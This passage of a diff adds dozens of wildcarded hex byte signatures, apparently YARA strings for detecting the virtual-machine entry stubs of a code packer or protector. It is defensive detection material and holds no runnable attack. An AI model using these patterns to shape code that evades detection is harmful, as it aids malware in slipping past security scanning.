+		$270 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$271 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$272 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$273 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$274 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$275 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$276 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$277 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$278 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$279 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$280 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$281 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$282 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$283 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$284 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$285 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$286 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$287 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$288 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$289 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$290 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$291 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$292 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$293 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52}
+		$294 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$295 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$296 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$297 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$298 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$299 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$300 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$301 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$302 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$303 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$304 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$305 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$306 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$307 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$308 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$309 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$310 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$311 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$312 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$313 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$314 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$315 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$316 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$317 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$318 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$319 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$320 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$321 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$322 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$323 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$324 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$325 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$326 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$327 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$328 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$329 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$330 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$331 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$332 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$333 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$334 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$335 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$336 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$337 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$338 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$339 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$340 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$341 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$342 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$343 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$344 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$345 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$346 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$347 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$348 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$349 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$350 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$351 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$352 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$353 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$354 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$355 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$356 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$357 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$358 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$359 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$360 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$361 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$362 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$363 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
